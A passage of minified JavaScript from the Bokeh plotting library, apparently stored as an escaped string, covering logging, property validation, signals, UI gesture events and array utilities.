t=[],e=0;e<arguments.length;e++)t[e]=arguments[e]},r.TRACE=new s(\\\"trace\\\",0),r.DEBUG=new s(\\\"debug\\\",1),r.INFO=new s(\\\"info\\\",2),r.WARN=new s(\\\"warn\\\",6),r.ERROR=new s(\\\"error\\\",7),r.FATAL=new s(\\\"fatal\\\",8),r.OFF=new s(\\\"off\\\",9),r.log_levels={trace:r.TRACE,debug:r.DEBUG,info:r.INFO,warn:r.WARN,error:r.ERROR,fatal:r.FATAL,off:r.OFF},r}();function a(t,e){return null!=console[t]?console[t].bind(console,e):null!=console.log?console.log.bind(console,e):function(){}}i.Logger=r,i.logger=r.get(\\\"bokeh\\\"),i.set_log_level=function(t){null==r.log_levels[t]?(console.log(\\\"[bokeh] unrecognized logging level '\\\"+t+\\\"' passed to Bokeh.set_log_level(), ignoring\\\"),console.log(\\\"[bokeh] valid log levels are: \\\"+r.levels.join(\\\", \\\"))):(console.log(\\\"[bokeh] setting log level to: '\\\"+t+\\\"'\\\"),i.logger.set_level(t))}},function(t,e,i){var o=t(391),s=t(19),n=t(7),r=t(39),a=t(27),l=t(21),h=t(22),u=t(44);function c(e){try{return JSON.stringify(e)}catch(t){return e.toString()}}function _(t){return u.isPlainObject(t)&&(void 0===t.value?0:1)+(void 0===t.field?0:1)+(void 0===t.expr?0:1)==1}s.Signal,i.isSpec=_;var p=function(r){function t(t,e,i){var n=r.call(this)||this;return n.obj=t,n.attr=e,n.default_value=i,n.optional=!1,n.obj=t,n.attr=e,n.default_value=i,n.change=new s.Signal0(n.obj,\\\"change\\\"),n._init(),n.connect(n.change,function(){return n._init()}),n}return o.__extends(t,r),t.prototype.update=function(){this._init()},t.prototype.init=function(){},t.prototype.transform=function(t){return t},t.prototype.validate=function(t){},t.prototype.value=function(t){if(void 0===t&&(t=!0),void 0===this.spec.value)throw new Error(\\\"attempted to retrieve property value for property without value specification\\\");var e=this.transform([this.spec.value])[0];return null!=this.spec.transform&&t&&(e=this.spec.transform.compute(e)),e},t.prototype.array=function(t){if(!this.dataspec)throw new Error(\\\"attempted to retrieve property array for non-dataspec property\\\");var e;if(null!=this.spec.field){if(null==(e=this.transform(t.get_column(this.spec.field))))throw new Error(\\\"attempted to retrieve property array for nonexistent field '\\\"+this.spec.field+\\\"'\\\")}else if(null!=this.spec.expr)e=this.transform(this.spec.expr.v_compute(t));else{var i=t.get_length();null==i&&(i=1);var n=this.value(!1);e=l.repeat(n,i)}return null!=this.spec.transform&&(e=this.spec.transform.v_compute(e)),e},t.prototype._init=function(){var t,e=this.obj,i=this.attr,n=e.getv(i);if(void 0===n){var r=this.default_value;n=void 0!==r?r(e):null,e.setv(((t={})[i]=n,t),{silent:!0,defaults:!0})}if(u.isArray(n)?this.spec={value:n}:_(n)?this.spec=n:this.spec={value:n},this.dataspec&&null!=this.spec.field&&!u.isString(this.spec.field))throw new Error(\\\"field value for property '\\\"+i+\\\"' is not a string\\\");null!=this.spec.value&&this.validate(this.spec.value),this.init()},t.prototype.toString=function(){return\\\"Prop(\\\"+this.obj+\\\".\\\"+this.attr+\\\", spec: \\\"+c(this.spec)+\\\")\\\"},t}(s.Signalable());function d(i,n){return function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e.prototype.validate=function(t){if(!n(t))throw new Error(i+\\\" property '\\\"+this.attr+\\\"' given invalid value: \\\"+c(t))},e}(p)}(i.Property=p).prototype.dataspec=!1;var f=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}((i.simple_prop=d)(\\\"Any\\\",function(t){return!0}));i.Any=f;var v=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(d(\\\"Array\\\",function(t){return u.isArray(t)||t instanceof Float64Array}));i.Array=v;var m=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(d(\\\"Bool\\\",u.isBoolean));i.Bool=m,i.Boolean=m;var g=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(d(\\\"Color\\\",function(t){return u.isString(t)&&(r.is_svg_color(t.toLowerCase())||\\\"#\\\"==t.substring(0,1)||a.valid_rgb(t))}));i.Color=g;var y=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(d(\\\"Instance\\\",function(t){return null!=t.properties}));i.Instance=y;var b=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(d(\\\"Number\\\",function(t){return u.isNumber(t)||u.isBoolean(t)}));i.Number=b;var x=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(i.Int=b);i.Angle=x;var w=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(d(\\\"Number\\\",function(t){return(u.isNumber(t)||u.isBoolean(t))&&0<=t&&t<=1}));i.Percent=w;var k=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(d(\\\"String\\\",u.isString));i.String=k;var S=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(i.FontSize=k);function C(t,e){return function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(d(t,function(t){return l.includes(e,t)}))}i.Font=S;var T=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}((i.enum_prop=C)(\\\"Anchor\\\",n.LegendLocation));i.Anchor=T;var A=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"AngleUnits\\\",n.AngleUnits));i.AngleUnits=A;var E=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e.prototype.transform=function(t){for(var e=new Uint8Array(t.length),i=0;i<t.length;i++)switch(t[i]){case\\\"clock\\\":e[i]=0;break;case\\\"anticlock\\\":e[i]=1}return e},e}(C(\\\"Direction\\\",n.Direction));i.Direction=E;var M=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"Dimension\\\",n.Dimension));i.Dimension=M;var O=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"Dimensions\\\",n.Dimensions));i.Dimensions=O;var z=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"FontStyle\\\",n.FontStyle));i.FontStyle=z;var P=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"LatLon\\\",n.LatLon));i.LatLon=P;var j=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"LineCap\\\",n.LineCap));i.LineCap=j;var N=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"LineJoin\\\",n.LineJoin));i.LineJoin=N;var F=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"LegendLocation\\\",n.LegendLocation));i.LegendLocation=F;var D=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"Location\\\",n.Location));i.Location=D;var I=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"OutputBackend\\\",n.OutputBackend));i.OutputBackend=I;var R=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"Orientation\\\",n.Orientation));i.Orientation=R;var B=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"VerticalAlign\\\",n.VerticalAlign));i.VerticalAlign=B;var L=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"TextAlign\\\",n.TextAlign));i.TextAlign=L;var V=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"TextBaseline\\\",n.TextBaseline));i.TextBaseline=V;var G=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"RenderLevel\\\",n.RenderLevel));i.RenderLevel=G;var U=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"RenderMode\\\",n.RenderMode));i.RenderMode=U;var q=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"SizingMode\\\",n.SizingMode));i.SizingMode=q;var Y=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"SpatialUnits\\\",n.SpatialUnits));i.SpatialUnits=Y;var X=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"Distribution\\\",n.Distribution));i.Distribution=X;var H=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"StepMode\\\",n.StepMode));i.StepMode=H;var W=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"PaddingUnits\\\",n.PaddingUnits));i.PaddingUnits=W;var J=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"StartEnd\\\",n.StartEnd));function Q(i,n,r){return function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e.prototype.init=function(){null==this.spec.units&&(this.spec.units=r);var t=this.spec.units;if(!l.includes(n,t))throw new Error(i+\\\" units must be one of \\\"+n+\\\", given invalid value: \\\"+t)},Object.defineProperty(e.prototype,\\\"units\\\",{get:function(){return this.spec.units},set:function(t){this.spec.units=t},enumerable:!0,configurable:!0}),e}(b)}i.StartEnd=J;var $=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.prototype.transform=function(t){return\\\"deg\\\"==this.spec.units&&(t=h.map(t,function(t){return t*Math.PI/180})),t=h.map(t,function(t){return-t}),e.prototype.transform.call(this,t)},t}((i.units_prop=Q)(\\\"AngleSpec\\\",n.AngleUnits,\\\"rad\\\"));(i.AngleSpec=$).prototype.dataspec=!0;var K=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(g);(i.ColorSpec=K).prototype.dataspec=!0;var Z=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(Q(\\\"DistanceSpec\\\",n.SpatialUnits,\\\"data\\\"));(i.DistanceSpec=Z).prototype.dataspec=!0;var tt=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(k);(i.FontSizeSpec=tt).prototype.dataspec=!0;var et=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(k);(i.MarkerSpec=et).prototype.dataspec=!0;var it=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(b);(i.NumberSpec=it).prototype.dataspec=!0;var nt=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(k);(i.StringSpec=nt).prototype.dataspec=!0},function(t,e,h){var i=t(15),u=t(32);function n(t,e){var i={};for(var n in t){var r=t[n];i[e+n]=r}return i}var r={line_color:[i.ColorSpec,\\\"black\\\"],line_width:[i.NumberSpec,1],line_alpha:[i.NumberSpec,1],line_join:[i.LineJoin,\\\"bevel\\\"],line_cap:[i.LineCap,\\\"butt\\\"],line_dash:[i.Array,[]],line_dash_offset:[i.Number,0]};h.line=function(t){return void 0===t&&(t=\\\"\\\"),n(r,t)};var o={fill_color:[i.ColorSpec,\\\"gray\\\"],fill_alpha:[i.NumberSpec,1]};h.fill=function(t){return void 0===t&&(t=\\\"\\\"),n(o,t)};var s={text_font:[i.Font,\\\"helvetica\\\"],text_font_size:[i.FontSizeSpec,\\\"12pt\\\"],text_font_style:[i.FontStyle,\\\"normal\\\"],text_color:[i.ColorSpec,\\\"#444444\\\"],text_alpha:[i.NumberSpec,1],text_align:[i.TextAlign,\\\"left\\\"],text_baseline:[i.TextBaseline,\\\"bottom\\\"],text_line_height:[i.Number,1.2]};h.text=function(t){return void 0===t&&(t=\\\"\\\"),n(s,t)},h.create=function(t){for(var e={},i=0,n=t;i<n.length;i++){var r=n[i],o=r.split(\\\":\\\"),s=o[0],a=o[1],l=void 0;switch(s){case\\\"line\\\":l=h.line;break;case\\\"fill\\\":l=h.fill;break;case\\\"text\\\":l=h.text;break;default:throw new Error(\\\"Unknown property mixin kind '\\\"+s+\\\"'\\\")}u.extend(e,l(a))}return e}},function(t,e,i){var n=t(391),r=t(8),o=t(197),p=t(185),d=t(186),s=t(15),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.initClass=function(){this.prototype.type=\\\"SelectionManager\\\",this.internal({source:[s.Any]})},e.prototype.initialize=function(){t.prototype.initialize.call(this),this.inspectors={}},e.prototype.select=function(t,e,i,n){void 0===n&&(n=!1);for(var r=[],o=[],s=0,a=t;s<a.length;s++){var l=a[s];l instanceof p.GlyphRendererView?r.push(l):l instanceof d.GraphRendererView&&o.push(l)}for(var h=!1,u=0,c=o;u<c.length;u++){var l=c[u],_=l.model.selection_policy.hit_test(e,l);h=h||l.model.selection_policy.do_selection(_,l.model,i,n)}if(0<r.length){var _=this.source.selection_policy.hit_test(e,r);h=h||this.source.selection_policy.do_selection(_,this.source,i,n)}return h},e.prototype.inspect=function(t,e){var i=!1;if(t instanceof p.GlyphRendererView){var n=t.hit_test(e);if(null!=n){i=!n.is_empty();var r=this.get_or_create_inspector(t.model);r.update(n,!0,!1),this.source.setv({inspected:r},{silent:!0}),this.source.inspect.emit([t,{geometry:e}])}}else if(t instanceof d.GraphRendererView){var n=t.model.inspection_policy.hit_test(e,t);i=i||t.model.inspection_policy.do_inspection(n,e,t,!1,!1)}return i},e.prototype.clear=function(t){this.source.selected.clear(),null!=t&&this.get_or_create_inspector(t.model).clear()},e.prototype.get_or_create_inspector=function(t){return null==this.inspectors[t.id]&&(this.inspectors[t.id]=new o.Selection),this.inspectors[t.id]},e}(r.HasProps);(i.SelectionManager=a).initClass()},function(t,e,i){var n=function(){function t(){this._dev=!1}return Object.defineProperty(t.prototype,\\\"dev\\\",{get:function(){return this._dev},set:function(t){this._dev=t},enumerable:!0,configurable:!0}),t}();i.Settings=n,i.settings=new n},function(t,e,i){var n,r=t(391),o=t(29),s=t(25),a=t(21),l=function(){function t(t,e){this.sender=t,this.name=e}return t.prototype.connect=function(t,e){void 0===e&&(e=null),u.has(this.sender)||u.set(this.sender,[]);var i=u.get(this.sender);if(null!=_(i,this,t,e))return!1;var n=e||t;c.has(n)||c.set(n,[]);var r=c.get(n),o={signal:this,slot:t,context:e};return i.push(o),r.push(o),!0},t.prototype.disconnect=function(t,e){void 0===e&&(e=null);var i=u.get(this.sender);if(null==i||0===i.length)return!1;var n=_(i,this,t,e);if(null==n)return!1;var r=e||t,o=c.get(r);return n.signal=null,d(i),d(o),!0},t.prototype.emit=function(t){for(var e=u.get(this.sender)||[],i=0,n=e;i<n.length;i++){var r=n[i],o=r.signal,s=r.slot,a=r.context;o===this&&s.call(a,t,this.sender)}},t}(),h=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return r.__extends(e,t),e.prototype.emit=function(){t.prototype.emit.call(this,void 0)},e}(i.Signal=l);i.Signal0=h,(n=l=i.Signal||(i.Signal={})).disconnectBetween=function(t,e){var i=u.get(t);if(null!=i&&0!==i.length){var n=c.get(e);if(null!=n&&0!==n.length){for(var r=0,o=n;r<o.length;r++){var s=o[r];if(null==s.signal)return;s.signal.sender===t&&(s.signal=null)}d(i),d(n)}}},n.disconnectSender=function(t){var e=u.get(t);if(null!=e&&0!==e.length){for(var i=0,n=e;i<n.length;i++){var r=n[i];if(null==r.signal)return;var o=r.context||r.slot;r.signal=null,d(c.get(o))}d(e)}},n.disconnectReceiver=function(t){var e=c.get(t);if(null!=e&&0!==e.length){for(var i=0,n=e;i<n.length;i++){var r=n[i];if(null==r.signal)return;var o=r.signal.sender;r.signal=null,d(u.get(o))}d(e)}},n.disconnectAll=function(t){var e=u.get(t);if(null!=e&&0!==e.length){for(var i=0,n=e;i<n.length;i++){var r=n[i];r.signal=null}d(e)}var o=c.get(t);if(null!=o&&0!==o.length){for(var s=0,a=o;s<a.length;s++){var r=a[s];r.signal=null}d(o)}},i.Signal=l,i.Signalable=function(t){return null!=t?function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return r.__extends(e,t),e.prototype.connect=function(t,e){return t.connect(e,this)},e}(t):function(){function t(){}return t.prototype.connect=function(t,e){return t.connect(e,this)},t}()},(i._Signalable||(i._Signalable={})).connect=function(t,e){return t.connect(e,this)};var u=new WeakMap,c=new WeakMap;function _(t,e,i,n){return a.find(t,function(t){return t.signal===e&&t.slot===i&&t.context===n})}var p=new o.Set;function d(t){0===p.size&&s.defer(f),p.add(t)}function f(){p.forEach(function(t){a.removeBy(t,function(t){return null==t.signal})}),p.clear()}},function(t,e,d){var i=t(391),o=t(347),s=t(19),a=t(14),l=t(5),n=t(45),h=t(21),f=t(32),r=t(44),u=t(3);d.is_mobile=\\\"ontouchstart\\\"in window||0<navigator.maxTouchPoints;var c=function(){function t(t,e,i,n){var r=this;this.plot_view=t,this.toolbar=e,this.hit_area=i,this.plot=n,this.pan_start=new s.Signal(this,\\\"pan:start\\\"),this.pan=new s.Signal(this,\\\"pan\\\"),this.pan_end=new s.Signal(this,\\\"pan:end\\\"),this.pinch_start=new s.Signal(this,\\\"pinch:start\\\"),this.pinch=new s.Signal(this,\\\"pinch\\\"),this.pinch_end=new s.Signal(this,\\\"pinch:end\\\"),this.rotate_start=new s.Signal(this,\\\"rotate:start\\\"),this.rotate=new s.Signal(this,\\\"rotate\\\"),this.rotate_end=new s.Signal(this,\\\"rotate:end\\\"),this.tap=new s.Signal(this,\\\"tap\\\"),this.doubletap=new s.Signal(this,\\\"doubletap\\\"),this.press=new s.Signal(this,\\\"press\\\"),this.move_enter=new s.Signal(this,\\\"move:enter\\\"),this.move=new s.Signal(this,\\\"move\\\"),this.move_exit=new s.Signal(this,\\\"move:exit\\\"),this.scroll=new s.Signal(this,\\\"scroll\\\"),this.keydown=new s.Signal(this,\\\"keydown\\\"),this.keyup=new s.Signal(this,\\\"keyup\\\"),this.hammer=new o(this.hit_area),this._configure_hammerjs(),this.hit_area.addEventListener(\\\"mousemove\\\",function(t){return r._mouse_move(t)}),this.hit_area.addEventListener(\\\"mouseenter\\\",function(t){return r._mouse_enter(t)}),this.hit_area.addEventListener(\\\"mouseleave\\\",function(t){return r._mouse_exit(t)}),this.hit_area.addEventListener(\\\"wheel\\\",function(t){return r._mouse_wheel(t)}),document.addEventListener(\\\"keydown\\\",this),document.addEventListener(\\\"keyup\\\",this)}return t.prototype.destroy=function(){this.hammer.destroy(),document.removeEventListener(\\\"keydown\\\",this),document.removeEventListener(\\\"keyup\\\",this)},t.prototype.handleEvent=function(t){\\\"keydown\\\"==t.type?this._key_down(t):\\\"keyup\\\"==t.type&&this._key_up(t)},t.prototype._configure_hammerjs=function(){var e=this;this.hammer.get(\\\"doubletap\\\").recognizeWith(\\\"tap\\\"),this.hammer.get(\\\"tap\\\").requireFailure(\\\"doubletap\\\"),this.hammer.get(\\\"doubletap\\\").dropRequireFailure(\\\"tap\\\"),this.hammer.on(\\\"doubletap\\\",function(t){return e._doubletap(t)}),this.hammer.on(\\\"tap\\\",function(t){return e._tap(t)}),this.hammer.on(\\\"press\\\",function(t){return e._press(t)}),this.hammer.get(\\\"pan\\\").set({direction:o.DIRECTION_ALL}),this.hammer.on(\\\"panstart\\\",function(t){return e._pan_start(t)}),this.hammer.on(\\\"pan\\\",function(t){return e._pan(t)}),this.hammer.on(\\\"panend\\\",function(t){return e._pan_end(t)}),this.hammer.get(\\\"pinch\\\").set({enable:!0}),this.hammer.on(\\\"pinchstart\\\",function(t){return e._pinch_start(t)}),this.hammer.on(\\\"pinch\\\",function(t){return e._pinch(t)}),this.hammer.on(\\\"pinchend\\\",function(t){return e._pinch_end(t)}),this.hammer.get(\\\"rotate\\\").set({enable:!0}),this.hammer.on(\\\"rotatestart\\\",function(t){return e._rotate_start(t)}),this.hammer.on(\\\"rotate\\\",function(t){return e._rotate(t)}),this.hammer.on(\\\"rotateend\\\",function(t){return e._rotate_end(t)})},t.prototype.register_tool=function(i){var n=this,t=i.model.event_type;null!=t&&(r.isString(t)?this._register_tool(i,t):t.forEach(function(t,e){return n._register_tool(i,t,e<1)}))},t.prototype._register_tool=function(t,e,i){void 0===i&&(i=!0);var n=t,r=n.model.id,o=function(e){return function(t){t.id==r&&e(t.e)}},s=function(e){return function(t){e(t.e)}};switch(e){case\\\"pan\\\":null!=n._pan_start&&n.connect(this.pan_start,o(n._pan_start.bind(n))),null!=n._pan&&n.connect(this.pan,o(n._pan.bind(n))),null!=n._pan_end&&n.connect(this.pan_end,o(n._pan_end.bind(n)));break;case\\\"pinch\\\":null!=n._pinch_start&&n.connect(this.pinch_start,o(n._pinch_start.bind(n))),null!=n._pinch&&n.connect(this.pinch,o(n._pinch.bind(n))),null!=n._pinch_end&&n.connect(this.pinch_end,o(n._pinch_end.bind(n)));break;case\\\"rotate\\\":null!=n._rotate_start&&n.connect(this.rotate_start,o(n._rotate_start.bind(n))),null!=n._rotate&&n.connect(this.rotate,o(n._rotate.bind(n))),null!=n._rotate_end&&n.connect(this.rotate_end,o(n._rotate_end.bind(n)));break;case\\\"move\\\":null!=n._move_enter&&n.connect(this.move_enter,o(n._move_enter.bind(n))),null!=n._move&&n.connect(this.move,o(n._move.bind(n))),null!=n._move_exit&&n.connect(this.move_exit,o(n._move_exit.bind(n)));break;case\\\"tap\\\":null!=n._tap&&n.connect(this.tap,o(n._tap.bind(n)));break;case\\\"press\\\":null!=n._press&&n.connect(this.press,o(n._press.bind(n)));break;case\\\"scroll\\\":null!=n._scroll&&n.connect(this.scroll,o(n._scroll.bind(n)));break;default:throw new Error(\\\"unsupported event_type: \\\"+e)}i&&(null!=n._doubletap&&n.connect(this.doubletap,s(n._doubletap.bind(n))),null!=n._keydown&&n.connect(this.keydown,s(n._keydown.bind(n))),null!=n._keyup&&n.connect(this.keyup,s(n._keyup.bind(n))),d.is_mobile&&null!=n._scroll&&\\\"pinch\\\"==e&&(a.logger.debug(\\\"Registering scroll on touch screen\\\"),n.connect(this.scroll,o(n._scroll.bind(n)))))},t.prototype._hit_test_renderers=function(t,e){for(var i=this.plot_view.get_renderer_views(),n=0,r=h.reversed(i);n<r.length;n++){var o=r[n],s=o.model.level;if((\\\"annotation\\\"==s||\\\"overlay\\\"==s)&&null!=o.interactive_hit&&o.interactive_hit(t,e))return o}return null},t.prototype._hit_test_frame=function(t,e){return this.plot_view.frame.bbox.contains(t,e)},t.prototype._hit_test_canvas=function(t,e){return this.plot_view.canvas.bbox.contains(t,e)},t.prototype._trigger=function(e,i,t){var n=this,r=this.toolbar.gestures,o=e.name,s=o.split(\\\":\\\")[0],a=this._hit_test_renderers(i.sx,i.sy),l=this._hit_test_canvas(i.sx,i.sy);switch(s){case\\\"move\\\":var h=r[s].active;null!=h&&this.trigger(e,i,h.id);var u=this.toolbar.inspectors.filter(function(t){return t.active}),c=\\\"default\\\";null!=a?(c=a.cursor(i.sx,i.sy)||c,f.isEmpty(u)||(e=this.move_exit,o=e.name)):this._hit_test_frame(i.sx,i.sy)&&(f.isEmpty(u)||(c=\\\"crosshair\\\")),this.plot_view.set_cursor(c),this.plot_view.set_toolbar_visibility(l),u.map(function(t){return n.trigger(e,i,t.id)});break;case\\\"tap\\\":var _=t.target;if(null!=_&&_!=this.hit_area)return;null!=a&&null!=a.on_hit&&a.on_hit(i.sx,i.sy);var h=r[s].active;null!=h&&this.trigger(e,i,h.id);break;case\\\"scroll\\\":var p=d.is_mobile?\\\"pinch\\\":\\\"scroll\\\",h=r[p].active;null!=h&&(t.preventDefault(),t.stopPropagation(),this.trigger(e,i,h.id));break;default:var h=r[s].active;null!=h&&this.trigger(e,i,h.id)}this._trigger_bokeh_event(i)},t.prototype.trigger=function(t,e,i){void 0===i&&(i=null),t.emit({id:i,e:e})},t.prototype._trigger_bokeh_event=function(t){var e=u.BokehEvent.event_class(t);null!=e?this.plot.trigger_event(e.from_event(t)):a.logger.debug(\\\"Unhandled event of type \\\"+t.type)},t.prototype._get_sxy=function(t){var e,i=(e=t,\\\"undefined\\\"!=typeof TouchEvent&&e instanceof TouchEvent?(0!=t.touches.length?t.touches:t.changedTouches)[0]:t),n=i.pageX,r=i.pageY,o=l.offset(this.hit_area),s=o.left,a=o.top;return{sx:n-s,sy:r-a}},t.prototype._gesture_event=function(t){return i.__assign({type:t.type},this._get_sxy(t.srcEvent),{deltaX:t.deltaX,deltaY:t.deltaY,scale:t.scale,shiftKey:t.srcEvent.shiftKey})},t.prototype._tap_event=function(t){return i.__assign({type:t.type},this._get_sxy(t.srcEvent),{shiftKey:t.srcEvent.shiftKey})},t.prototype._move_event=function(t){return i.__assign({type:t.type},this._get_sxy(t))},t.prototype._scroll_event=function(t){return i.__assign({type:t.type},this._get_sxy(t),{delta:n.getDeltaY(t)})},t.prototype._key_event=function(t){return{type:t.type,keyCode:t.keyCode}},t.prototype._pan_start=function(t){var e=this._gesture_event(t);e.sx-=t.deltaX,e.sy-=t.deltaY,this._trigger(this.pan_start,e,t.srcEvent)},t.prototype._pan=function(t){this._trigger(this.pan,this._gesture_event(t),t.srcEvent)},t.prototype._pan_end=function(t){this._trigger(this.pan_end,this._gesture_event(t),t.srcEvent)},t.prototype._pinch_start=function(t){this._trigger(this.pinch_start,this._gesture_event(t),t.srcEvent)},t.prototype._pinch=function(t){this._trigger(this.pinch,this._gesture_event(t),t.srcEvent)},t.prototype._pinch_end=function(t){this._trigger(this.pinch_end,this._gesture_event(t),t.srcEvent)},t.prototype._rotate_start=function(t){this._trigger(this.rotate_start,this._gesture_event(t),t.srcEvent)},t.prototype._rotate=function(t){this._trigger(this.rotate,this._gesture_event(t),t.srcEvent)},t.prototype._rotate_end=function(t){this._trigger(this.rotate_end,this._gesture_event(t),t.srcEvent)},t.prototype._tap=function(t){this._trigger(this.tap,this._tap_event(t),t.srcEvent)},t.prototype._doubletap=function(t){var e=this._tap_event(t);this._trigger_bokeh_event(e),this.trigger(this.doubletap,e)},t.prototype._press=function(t){this._trigger(this.press,this._tap_event(t),t.srcEvent)},t.prototype._mouse_enter=function(t){this._trigger(this.move_enter,this._move_event(t),t)},t.prototype._mouse_move=function(t){this._trigger(this.move,this._move_event(t),t)},t.prototype._mouse_exit=function(t){this._trigger(this.move_exit,this._move_event(t),t)},t.prototype._mouse_wheel=function(t){this._trigger(this.scroll,this._scroll_event(t),t)},t.prototype._key_down=function(t){this.trigger(this.keydown,this._key_event(t))},t.prototype._key_up=function(t){this.trigger(this.keyup,this._key_event(t))},t}();d.UIEvents=c},function(t,e,n){var o=t(31),u=t(23),i=t(22);n.min=i.min,n.minBy=i.minBy,n.max=i.max,n.maxBy=i.maxBy,n.sum=i.sum;var r=Array.prototype.slice;function s(t){var e;return(e=[]).concat.apply(e,t)}function c(t,e){return-1!==t.indexOf(e)}function a(t,e,i){void 0===i&&(i=1),u.assert(0<i,\\\"'step' must be a positive number\\\"),null==e&&(e=t,t=0);for(var n=Math.max,r=Math.ceil,o=Math.abs,s=t<=e?i:-i,a=n(r(o(e-t)/i),0),l=Array(a),h=0;h<a;h++,t+=s)l[h]=t;return l}function l(r){return function(t,e){for(var i=t.length,n=0<r?0:i-1;0<=n&&n<i;n+=r)if(e(t[n]))return n;return-1}}function h(t){for(var e=[],i=0,n=t;i<n.length;i++){var r=n[i];c(e,r)||e.push(r)}return e}n.head=function(t){return t[0]},n.tail=function(t){return t[t.length-1]},n.last=function(t){return t[t.length-1]},n.copy=function(t){return r.call(t)},n.concat=s,n.includes=c,n.contains=c,n.nth=function(t,e){return t[0<=e?e:t.length+e]},n.zip=function(t,e){for(var i=Math.min(t.length,e.length),n=new Array(i),r=0;r<i;r++)n[r]=[t[r],e[r]];return n},n.unzip=function(t){for(var e,i=t.length,n=new Array(i),r=new Array(i),o=0;o<i;o++)e=t[o],n[o]=e[0],r[o]=e[1];return[n,r]},n.range=a,n.linspace=function(t,e,i){void 0===i&&(i=100);for(var n=(e-t)/(i-1),r=new Array(i),o=0;o<i;o++)r[o]=t+n*o;return r},n.transpose=function(t){for(var e=t.length,i=t[0].length,n=[],r=0;r<i;r++){n[r]=[];for(var o=0;o<e;o++)n[r][o]=t[o][r]}return n},n.cumsum=function(t){var n=[];return t.reduce(function(t,e,i){return n[i]=t+e},0),n},n.argmin=function(e){return i.minBy(a(e.length),function(t){return e[t]})},n.argmax=function(e){return i.maxBy(a(e.length),function(t){return e[t]})},n.all=function(t,e){for(var i=0,n=t;i<n.length;i++){var r=n[i];if(!e(r))return!1}return!0},n.any=function(t,e){for(var i=0,n=t;i<n.length;i++){var r=n[i];if(e(r))return!0}return!1},n.findIndex=l(1),n.findLastIndex=l(-1),n.find=function(t,e){var i=n.findIndex(t,e);return-1==i?void 0:t[i]},n.findLast=function(t,e){var i=n.findLastIndex(t,e);return-1==i?void 0:t[i]},n.sortedIndex=function(t,e){for(var i=0,n=t.length;i<n;){var r=Math.floor((i+n)/2);t[r]<e?i=r+1:n=r}return i},n.sortBy=function(t,i){var e=t.map(function(t,e){return{value:t,index:e,key:i(t)}});return e.sort(function(t,e){var i=t.key,n=e.key;if(i!==n){if(n<i||void 0===i)return 1;if(i<n||void 0===n)return-1}return t.index-e.index}),e.map(function(t){return t.value})},n.uniq=h,n.uniqBy=function(t,e){for(var i=[],n=[],r=0,o=t;r<o.length;r++){var s=o[r],a=e(s);c(n,a)||(n.push(a),i.push(s))}return i},n.union=function(){for(var 